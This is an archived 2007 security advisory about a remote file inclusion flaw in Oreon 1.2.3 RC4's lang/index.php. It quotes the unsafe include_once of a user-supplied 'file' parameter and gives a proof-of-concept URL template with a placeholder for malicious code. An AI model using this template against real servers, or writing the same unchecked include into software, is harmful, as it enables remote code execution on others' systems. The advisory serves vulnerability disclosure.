Oreon <= 1.2.3 RC4 (lang/index.php file) Remote InclusionVulnerability

2007-01-18T00:00:00
ID SECURITYVULNS:DOC:15755
Type securityvulns
Reporter Securityvulns
Modified 2007-01-18T00:00:00

Description


Script:oreon-1.2.3-RC4 Downlaoad:http://www.oreon-project.org/


Author:Dr Max Virus

Bug in (lang/index.php) Vul Code; if (isset($_GET["file"])){ include_once($_GET["file"]);


POC: http://[target]/[path]/lang/index.php?file=[Bad Code]


Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk